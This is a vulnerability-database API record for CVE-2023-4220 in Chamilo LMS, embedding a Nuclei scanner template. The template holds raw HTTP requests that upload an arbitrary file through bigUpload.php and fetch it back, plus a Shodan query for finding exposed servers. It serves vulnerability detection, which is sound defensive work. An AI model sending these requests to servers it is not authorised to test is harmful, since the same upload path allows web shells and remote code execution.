{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-4220/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-4220/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-4220/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-4220/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-4220/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-4220"},"sightings":{"href":"/api/v1/sightings/cve-2023-4220"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-4220.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2023-4220\n\ninfo:\n  name: Chamilo LMS <= 1.11.24 - Remote Code Execution\n  author: s4e-io\n  severity: medium\n  description: |\n    Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.\n  remediation: |\n    Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.\n  reference:\n    - https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit\n    - https://github.com/charlesgargasson/CVE-2023-4220\n    - https://starlabs.sg/advisories/23/23-4220/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-4220\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2023-4220\n    cwe-id: CWE-434\n    epss-score: 0.76084\n    epss-percentile: 0.99517\n    cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: chamilo\n    product: chamilo_lms\n    shodan-query: \"X-Powered-By: Chamilo\"\n  tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload,vkev,vuln\n\nvariables:\n  filename: \"{{rand_base(10)}}\"\n  num: \"{{rand_int(1000, 9999)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3\n\n        --------------------------SwxF5rRaZb4lETWlpulXn3\n        Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"{{filename}}.txt\"\n        Content-Type: application/octet-stream\n\n        {{md5(num)}}\n\n        --------------------------SwxF5rRaZb4lETWlpulXn3--\n\n      - |\n        GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_2,\"{{md5(num)}}\")'\n          - \"status_code_1 == 200 && status_code_2 == 200\"\n        condition: and\n# digest: 490a0046304402204a7358cb31d91ff3594bc3d9d59ee15e832808350f299c708d95e3958bacffff022050641d1c5143330fef6f14c878776d8a8033930538a4de1b4accd01f53edc0d1:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-4220"}